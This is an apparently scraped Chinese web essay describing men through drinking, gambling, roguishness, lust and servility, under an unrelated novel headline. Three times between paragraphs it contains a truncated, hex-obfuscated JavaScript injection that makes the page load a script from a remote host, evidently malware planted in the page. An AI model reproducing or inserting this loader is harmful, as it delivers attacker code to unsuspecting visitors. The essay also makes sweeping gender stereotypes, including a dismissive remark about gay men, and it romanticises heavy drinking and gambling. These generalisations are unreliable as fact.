重生成为岳不群的小说:让女人更了解男人，让男人更了解自己

     男人喝酒用不着理由，高兴的时候要喝酒“人生得意须尽欢，莫使金樽空对月”，发愁的时候也喝酒“酒入愁肠，化作相思泪”；欢乐的时候喝酒“白日放歌须纵酒 青春作伴好还乡”，悲伤的时候也要喝酒“鲁酒千钟意不快，龟山蔽目齐都隘”；天好的时候可以喝“碧涧传僧梵，青天落酒杯”，天气不好的时候更要喝酒“清明时节雨纷纷，路上行人欲断魂。 借问酒家何处有，牧童遥指杏花村”；人多热闹的时候可以喝“喜得故人同待沼，拟沽春酒醉京华”，一个人寂寞的时候也可以喝“古来圣贤皆寂寞，惟有饮者留其名”。总之男人可以为自己喝酒找到任何理由，也可以说不需要任何理由就可以喝酒。酒成了男人生活中不可缺少的一部分。所以，男人为酒痴，酒为男人知。

    男人如酒用不着旁证，急躁的东欧男人用伏特加来燃烧他们的斗志和欲望；浪漫的法国男人用典雅的白兰地、猩红的波尔多葡萄酒来展示他们地中海的多情与香艳；狂放的英国男人用威士忌、金酒来衬托他们的深邃和悠久；富有激情的德国和美洲人用丰富的啤酒泡沫来荡涤他们的灵魂；后来居上的日本男人用清酒、烧酎酒体现他们的谦恭和决绝；而我们中国男人要成为英雄都与酒有关，曹操、刘备煮酒论英雄，武松醉上景阳岗、醉打蒋门神，李白斗酒诗百篇，关羽温酒斩华雄。不同的男人如不同的酒，有威猛的二锅头，缠绵的波尔多，温柔的白兰地，悲壮的伏特加，多情的科罗娜，凄凉的竹叶青，刚烈的烧刀子。所以，男人如酒性，酒如男人情。

tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">    男人戏酒用不着奇怪，男人毕竟是男人，爱酒却必须主宰它。喝酒的时候通常不很谦虚，能喝二两通常不会喝一两，而是保证三两，争取喝半斤，有时开始的时候还想控制一下，结果喝着喝着就忘记了，越喝越多，一直到酩酊大醉方休。男人喝酒的方式也很多，有人可以不用手，只用嘴叼着杯喝，有的人喜欢白酒啤酒一起喝，还有的人喜欢把鸡蛋打在啤酒里，一次喝下去，学名为“深水炸弹”，说来也怪，如果把鸡蛋煮熟没人能吃下去几个，但放在酒里喝，据说有的人能喝十几个。男人在生活和工作中通常很照顾女人，而在喝酒的时候却不这样，一般要求女人喝的和男人一样多，充分体现了男女平等的思想，并且从不在女人面前耍赖，即使喝多也心甘情愿。 男人邀请别人喝酒的时候喜欢劝酒，而被邀请的人也喜欢被劝，让人感觉如果不劝就喝不下去了，假如你真的不劝了，被邀请的人事后一定会觉得没喝好，这没喝好的后果往往是严重的，如果你是求人办事，那在办这件事的过程中又增加了难度，如果你只是想借此来表达一下情谊，那么你的感情就会表达的不够充分。 男人通常喜欢以酒看人，尤其是初次相识的人，更是以你喝酒的速度和酒量，来判断你是否可交，实不实在，能否做朋友。所以男人经常说“酒品看人品”。 男人喜欢通过酒来宣泄自己的情感，很多男人在酒后和酒前性格是不同的，更有甚者判若两人，有些生活中性格内向的人，喝完酒会变得特别外向，说个没完，有的男人喝多了喜欢笑，会无缘无故笑个没完，而有的男人喜欢哭，几杯酒下肚就会万般愁绪涌上心头，把生活中不如意的事全部想起，如果在坐的有自己觉得对不住的朋友，就会向他道歉。 男人在喝酒的时候喜欢总结关于酒的经典语句，比如“酒是粮食精，越喝越年轻”，“无酒不成席”，“酒逢知己千杯少”，“今朝有酒今朝醉，明天没酒在掂兑”，“男人不喝酒，白来世上走”等等不一而足。所以， 人生如戏酒，醉酒看人生。

    男人对酒的态度用不着掩饰，男人对酒有着双重情感，既爱又恨，每次喝多之后，都会发誓不再喝酒，与酒彻底告别，今生不想再见，但人往往是这样，恨之越深爱之越切，所以男人会越来越离不开酒，以至一次次喝多，一次次忌酒，却一次比一次痴迷。酒是男人之间沟通的桥梁和媒介，是男人的兴奋剂，如果没有了酒，男人的生活就失去了光彩，如同菜里没放盐一样，男人生活真的离不开酒，所以很多男人多次尝试戒酒，最后都以失败告终，以至于发出这样的感叹，让我戒酒比戒饭还难呢！男人喝酒的时候喜欢人多，想着每一个该来的朋友，刚坐下就开始打电话，如果有谁该来而来不了，会很遗憾的。 男人在任何环境下都可以喝酒，可以不分时间、场合、对象，中午、晚上、夜里都可以成为喝酒的最佳时间，不论是在酒店、还是火车上、路旁边，只要能放下几个酒杯就可以让他们畅饮，老朋友见面要喝，新朋友要喝，陌生人在一起也可以喝酒，因为他们有共同的朋友“酒”。  所以，男人盼酒渡，酒盼男人顾。

    男人与酒看似分裂，其实存在着必然，这种关系剪不断理还乱，说不清道不明。世界上不存在着无缘无故的爱，也没有无缘无故的恨。男人喝酒其实也是有缘故的：不是为了麻醉自己就是为了麻痹他人！男人醉酒也是有原因的：亦或是大喜，亦或是大悲。可谓，男人为酒征，酒识男人性。

赌性男人

    赌是人类第一大天性，男人尤甚。由于国家和种族的不同，大家的习惯和习性千差万别，但是唯有赌性全人类却惊人的相似。赌的流行没有国界，一个国家打入另一个国家的产品或者文化中，消化最快的是和赌博相关的产业。赌博的工具就几万种，林林总总，纷繁复杂，可奇怪的是，有没有知识都学得会，而且年久不忘。发展到现在，赌可以用任何方式、任何物件作赌注，一摞筹码，一件物品，一张纸，甚至一句话都可以成为赌局。男人们就忘我的投入其中，不能自拔。马路边的扑克场，棋局；单位的游乐室；社区的棋牌室；香港澳门的赌场马场肯定聚集着无数的男人，红着眼、叫喊着、疯狂着……     

    科学早已为人类的赌性做过解答，人类的基因中含有一种因子叫“多巴胺”而且男人这种因子多于女人。赌博开始了，多巴胺也出现了，它是人类自身的分泌物，它是快乐的源泉。当这种化合物产生的时候，你就会有欢乐、愉悦的感受。而甚至只是一场赌局的开始，它就开始慢慢分泌了。大脑什么情况下分泌多巴胺最旺盛？研究表明：大脑偏爱那些概率小的事件。也就是风险越大，越难成就的事，多巴胺神经细胞就越活跃，分泌也会越持久。有时候仅仅是想一想就够让人兴奋了，男人们就是在这种因子的作用下废寝忘食，孜孜以求……

    当今社会这是一个赌性十足的时代，机会是留给有准备的人，但成功却是留给敢于冒险的人，赌性在某种意义上是男人血性的一种表现。巴菲特很喜欢打桥牌，也愿意多少来一局。但是却他不会接受关于下一杆能否上果岭的赌局，即便只有5美元也不行。毫无疑问，他不担心钱，他担忧的是任由赌性乱跑了。这是一个对赌成风的社会，摩根士丹利对赌蒙牛，高盛对赌太子奶，高盛与国航、东航、南航对赌航油期货，中石油中石化的对赌。虽然赌博有输有赢，甚至惨败血本无归，可还是阻挡不了人们赌的本性。不过即使如此，也别太看扁赌博了。赌博中还真跳出来这么两位高手：法国数学家帕斯卡以及后来的爱德华.索普。帕斯卡在17世纪由对赌博问题的思考，创立了现代的概率学。而到了20世纪中叶，爱德华·索普更是跳出来直接挑战赌场，利用现代计算机，寻找出“赌21点”的优势策略，最终他凭借——数牌技巧以及低胜率时下小注，高胜率时加大赌注的方法成为第一个真正意义上打败过赌场的人。索普的故事无疑是很吸引人的，一个科学家不研究学问，开始研究赌博了！他幸运的是，计算机适时刚好出现。于是，那一年，索普所在的麻省理工学院的那台笨重而昂贵的计算机整夏都在噼噼啪啪的吞吐着数字。击败赌场，概率学开始粉墨登场了……

    对于很多情况，男人的一生何尝不是一个赌局呢！你的筹码就是选择，赌的就是自己的一生。从出生到孩提，从小学到中学，从大学走向社会，从一个公司跳入另一家公司，从单身到成家立业，从两个人到三口之家，从中年步向老年……每一步都是一个局，看你如何押注，看你如何判断？有的人赢得早，成功了，火爆了，得意了，但是一不留神又押错了，败了，沮丧了，沉沦了，不振了……这就是人生，极富戏剧的画卷，男人的精彩也就在于此……

    为什么赌博总能吸引这么多的人呢？这就须从“人性的弱点”中去找原因了。毋庸讳言，赌性人人有之，只是表现强弱不同而已。客观现实也能诱发人性中的赌性。赌博的不确定性和难以预知性极大地刺激人们追求财富的欲望，在某种情境的刺激下会由弱转强，并且会越来越强，最终成为名副其实的“赌徒”。赌徒的特征是越输越赌，溺而不返，这就是一些赌徒负债累累而不甘心离开的重要原因之一，也是新赌徒明明知道老赌徒负债累累仍要尝试用赌的方式梦想发财的重要原因之一。当赌博失利时，有时会陷入一种困境之中，想摆脱困境，就要继续做下去。想“扳本”是一种很自然的想法。“扳本”具有极强的诱惑力，当幻想着自己一定会赢，一定会发财，一定能把过去投进去的钱都赢回来并大大地赚上一笔。在“扳本”思想的驱使下容易使人背水一战，破釜沉舟，把全部血本都押在一个的赌局上。

痞性男人

    男人的痞性是天生的：人性本善还是人性本恶的争论到现在还没有一个标准答案，其实不是没有答案，是答案本身和我们的希望相左大家不愿意承认罢了。人本身不是一个独立体，是灵与肉、善与恶、水与火、阴与阳的结合体。对立统一的两个方面，相辅相成又相互制约，共生共存又互相转化。所以说善与恶是伴随人出生而出现，随着人的死亡而消散，善恶由心而生，只在一念之间。痞性人人有，特别是男人表现得尤为突出，只是每个人的控制能力不同，表现得形式不一样而已。这种痞性自然的展现在孩童和醉鬼身上表现尤其明显，孩童撒泼放赖，学生时代的顽劣，大男人酒后乱性动粗，痞性便淋漓尽致的体现出来。这才是人性真本，酒后吐真言，淘小子出好的，童言无忌和童真无邪说的就是痞性天生这个道理。所以说“男人本顽劣，何必自否之”

tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">    男人的痞性有时很可爱，因为男人痞性是人性真本，是不经意间自然的的流露，真实就会让人产生亲近感和安全感。这些顽劣男人要比那些矫揉造作，虚情假意，带着伪善面具的所谓好男人不只要好多少倍。中国的所谓好男人本人认为并不可爱，易中天教授在他的《中国的男人和女人》中描绘了三类让人作呕的中国好男人。第一类是以白蛇传中的许仙、西厢记中的张生、梁祝中的梁山伯，红楼梦之中的贾宝玉为代表的白面书生，这些男人肩不能扛，手不能提，百无一用。我们姑且把这类好男人称之为无用男人；第二类是以绿林好汉，江湖豪杰，冷酷杀手为代表的无情男人。他们所到之处千里杀将、血流成河、死伤无数，为了一己之私，一己之快残害生灵、涂炭无辜；第三类是以君叫臣死，臣不死即为不忠；父叫子亡，子不亡即为不孝，或为了一个所谓的义字不顾其他人的感受，不顾天意民心愚昧的忠臣孝子，仁人义士为代表的无原则男人。这三类人一直是被中华民族歌功颂扬的绝好男人，腻腻歪歪、残缺不全的让人爱不起来。相反略带一些痞性的男人，只要是不过分矫情，那股子的率真、顽皮、毫无掩饰和造作的性格到让人觉得可爱。

    痞性男人很放松、很自乐，活得也自在。正因为他们不需要掩饰，不用装假，不必矫情，能以真面目示人，所以他们活得不累，很放松。人的心态放松了快乐也就俯首即拾，并且他们能自得其乐，乐在其中，他们不需要看别人的脸色，不顾及别人的说法，只要认准了就会去做，干自己愿意干的事情，做自己喜欢的决定，活的当然自在逍遥。

    痞性男人喜欢自我欣赏，特有的自信、自傲和自魅把痞性男人装扮的五彩斑斓，栩栩如生，棱角分明。自信的男人勇敢果断、做事执著，他个性坦坦荡荡略带强势；自傲的男人意志刚强、意念坚韧，行事风格独特略带强硬；自魅的男人独立自行，洒脱豪放，彰显个性的同时略带强迫；这样的男人容不得你不喜欢，这样的男人特别能生活，特别能幸福，又有成就感，也能继续保持可爱被爱的形象。

    痞性男人不等于痞子无赖，不同于地痞流氓，不是登徒浪子，宦臣市侩；痞性男人有时豪放不羁但他们有爱心，有责任感；痞性男人有时不择手段但他们有同情心，有正义感；痞性男人有时也像孙大圣一样调皮放赖但他们有理性，有尊严感。他们敢作敢为，敢爱敢恨，他们幽默而不幽深，童趣而不童稚，世俗而不世故，圆通而不圆滑。他们犹如甘洌辛辣的猛酒，细细品味，我们才能读懂其真正的内涵，能回味其沁人的芳香。他们犹如一首跌宕婉转的离歌，细细品鉴，才能听懂凄美的旋律，能赏鉴其悠扬的音符。他们犹如一根清脆辛涩的苦瓜，细细品尝，才能体会弥散的舒畅，能饱尝其独有的清香。

色性男人

   食色，性也 。男人好色，就像吃饭一样正常，纯属本性使然，乃合情合理之事。世人不该一味斥之、责之、骂之。自古英雄爱美色，我为美色向英雄。环肥燕瘦三千宠爱集一身，霸王别姬千古绝唱唱到今，唐明皇为博妃子一笑，袁世凯怒发冲冠为红颜；美艳海伦引发十年战争，英国甚至出了个爱美人，不爱江山的温莎公爵。虽然男人个个好色，但其外在表现却千差万别。

    一类好色男人堪称极品。此类男人具备坚定、宽容、刚毅、威严、果敢的性格。他们深沉练达、坦荡自然、不卑不亢，卓尔不群，既懂得欣赏女人迷人的外表、温柔的性情，更能解读女人美丽的内心世界。他们的外表看起来或许有些冷漠，内心却温情脉脉，如一潭春水。这样的男人，虽然使周遭的女人都能感受到“润物细无声”般的关怀，终生却只挚爱一名女子，并且把她的幸福看得比自己的生命还重要。此类男人，是众多女性心目中最有魅力的男人，故谓“极品”。

    二类好色男人堪称精品。此类男人学识渊博、温情浪漫又善解人意。他们在女人面前表现得谦逊有礼、关怀备至，却又自然大方，不着痕迹，令你放放心心，轻轻松松地与他相处，并一点一点地融化在他明朗的微笑和细心的呵护之中。这类男人往往温文尔雅，风度翩翩，上得厅堂，下得厨房，最会讨女人欢心，所以，身边常有美女围绕，因此也极易陷入感情困扰之中。精品男人虽很难做到像极品男人那样一生只爱一次，却能对每一次爱情负责，也绝不脚踏两只船。此类男人，是诗情女子寻寻觅觅中较理想的男性形象。故谓“精品”。

    三类好色男人堪称妙品。此类男人豁达开朗，睿智风趣，常常妙语联珠、令举座捧腹。他们幽默、乐天、知足，大有“天塌下来地接着”这样开阔的胸襟，忘忧的性格。他们信奉“好男不与女斗”的做人准则，从不和女人斤斤计较，却绝不显得卑躬屈膝。这样的男人，令女人们觉得生活充满了阳光和欢乐，似乎天生就是女人的消愁剂。此类男人，是多愁善感女子的最佳夫婿人选。故谓“妙品”。

    四类好色男人堪称庸品。此类男人，浅薄无知，卑鄙无耻，用情不专，薄情寡义。见了美女便两眼发直，口角流涎，恨不得即刻拥入怀中。此类男人极端阴险自私，追求女人时不择手段，或甜言蜜语，或威逼利诱，一旦厌倦，便弃之如敝帚。可怕的是，此类男人脸上，并无“庸品”二字。不仅如此，他们有时还很会迷惑人心，使女人们觉得他们就是男人中的“极品”、“精品”、或者“妙品”，等到有一天蓦然惊醒，宛如醍醐灌顶，已是身心受创、苦不堪言。此类男人，乃男人的耻辱，女人的克星。故谓“庸品”。

tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D">    既然男人全都好色。女人们就该擦亮眼睛，在“极品”、“精品”、“妙品”中觅得如意郎君，切不可上了“庸品”男人的当。 动物界雄性看到心仪的异性，向来是二话不说就扑上去的。相比之下，人类已经很克制了。而且当你面对这种坦荡的男人时，你会很容易洞察他的性情，不喜欢也可以赶紧避让，安全系数相对较高。男人就是应该好色，不好色，你就得怀疑一下他是不是健康的了。 
    男人好色是女人的需要，男人不坏女人不爱，女为悦己者容吗！男人好色是本性，女人爱美是天性，因此都是无法改变的事实，只要是在尊重对方，用健康心态来对待的，其实这一切都很美好，更何况社会开放了，女人也可以好色，男人也可以爱美，只要是彼此有利的，大力提倡也未曾不可。  就做一个有贼心没贼胆的花心好男人，爱美非罪过，好色没有错，只要挡得住诱惑。看看那些行色匆匆的男人，就是有天大火急的事，也不能阻止他们看街上美女的眼睛，可能是一个衣着性感的美女，也可能是一发型特别的美女，就会让男人的眼光在她的身上逗留。而女人们，就算是时间紧迫，也不会忘了让自己衣衫整齐的出现在众人面前，那些漂亮的时装，那些新潮的化妆品，那些奢侈的名牌，都让女人们为之疯狂。一到了夏天，七彩夺目的小背心，短到大腿根的裙子，招摇在大街小项，吸引著一对对色迷迷的双眼，女人的漂亮是为了让男人看的，所以如果男人不好色，女人就会失去了打扮的欲望。因此当女人明白了男人的好色，如女人爱美一般的自然，就不会显得大惊小怪的，如果一个说自己不好色的男人，只有两种原因，第一就是装模作样，色到骨子里，另一种就是同性恋，爱的是男人而不是女人。就好像女人不爱美一样，也只有两种原因，第一就是天生丽质不用打扮，另一种就是生活在一个没有男人的环境里。    
　  男人好色可以风流，却不能下流，可以用欣赏的眼光来看来来往往的美女，却不能用色迷迷的双眼盯著不放，甚至嘴角还流下口水，这样会让人觉得很恶心，男人爱看美女很正常，女人在被男人看的时候，也有一种满足感，但是如果你用一双像探射灯一样的眼睛，像是一层层的把女人的衣服剥下般，嘴色还露出不怀好意的笑，这样的男人只会让女人感觉讨厌。这个世界因为有了男人和女人才变得更精彩，因此男人好色与女人爱美，本就是天经地义的事，不用刻意的去排斥，也因为有了好色的男人，女人们更注重自己的外表，也因为有了女人的爱美，男人们的眼睛得到了更多的满足。

奴性男人

    女人以爱的名义奴役男人，中国男人尤甚。这和社会的起源文化密不可分，相传女人是男人抽掉的肋骨化成的，大概是手术后缺了骨头又伤了元气，从此男人就开始没了骨气，被女人踩在脚下，被女人折磨的死去活来。女人们往往以爱的名义压制男人，不信仔细想想，小的时候是妈妈管，长大了又归妻子管，老了就轮到女儿管了。男孩一懂事妈妈就教育“男子汉要坚强，要保护女人、让着女人，要吃苦在前享受在后”，潜台词就是要男人当女人的奴隶。从此挨打挨批就成了家常便饭，脏活累活不离身，越是艰险越得上前。好不容易长大成人又落入妻子的魔爪，一句你爱我吗？把男人打入十八层地狱，意思是说爱我就得听我的，你爱我，我就用爱奴役你，不爱我，我就用性折磨你，反正没有好果子吃。男人再厉害，英雄也好，豪杰也罢，女人面前还不是毕恭毕敬、六神无主、低声下气。男人死要面子活受罪，被奴役了还不敢承认，自欺欺人说那是“爱”。

    男人以从的名义奴役男人，中国男人尤甚。这和社会的传统文化紧密相连，封建思想已经教育出了太多的奴才了。中国人的奴性，如滔滔江水绵延不绝。这句话的形容真是绝妙。其实这是一个深沉的话题，让大家面子上都有点难堪。很多人或许不赞同，或许会反感。会说自己没有奴性，虽然你并未觉察，可你骨子里深处未必没有。这是你不得不接受的事实，是从你的上一辈传下来的。你以为现在的中国人，是活泼，向上的样子，其实在很多人的骨髓里，奴性仍根深蒂固，无法根除。中国人的奴性不是没有道理，在我看来中国人的奴性和几千年的儒家思想是有着莫大关系。从就是这种思想的精髓，自小我们就要顺从父母的，长大要听从老师的，工作要盲从领导的，老了又要跟从子女的，好像就是不能自己做主一次。从便是奴性思维的一种变异，中国男人把从当成一种美德实在是最大的悲哀。 
    名利以尚的名义奴役男人，中国男人尤甚。传说乾隆皇帝民间私访，见市肆街巷人流熙攘，不知其所为，遂问随行刘墉：这些人如此忙碌，究竟所为何事？刘墉应答：无外名利二字。一代名相，应答皇帝无懈可击又言简意赅，真是一语中的。中国人特别崇尚名利，万般皆下品唯有读书高就是尚名；人为财死鸟为食亡就是崇利。人之为人，在“利”之后往往又会想名。名有何用？名利名利，一般有名就有利，名在利后，但名在开始还是为更多获利。我们不要被假象迷惑，有些人看似更高雅，但其实不过沽名钓誉，历史上许多高人隐士多属此类，所谓“小隐于野、中隐于市、大隐于朝”，对此有人还看得明白。古今中外，开口闭口淡泊名利者甚多，真正能做到的又有几人？到头来还不是为名所累，为利所伤，做了名利的奴才。

    男人如此被作践，又如此作践自己，应该是苦不堪言。可是男人们却没有如此感觉，有时还乐得其中，一旦没有什么奴役自己，反而不适应。说怪也不怪，男人天生就有奴性，真要是哪天不被奴役还不得寂寞死了！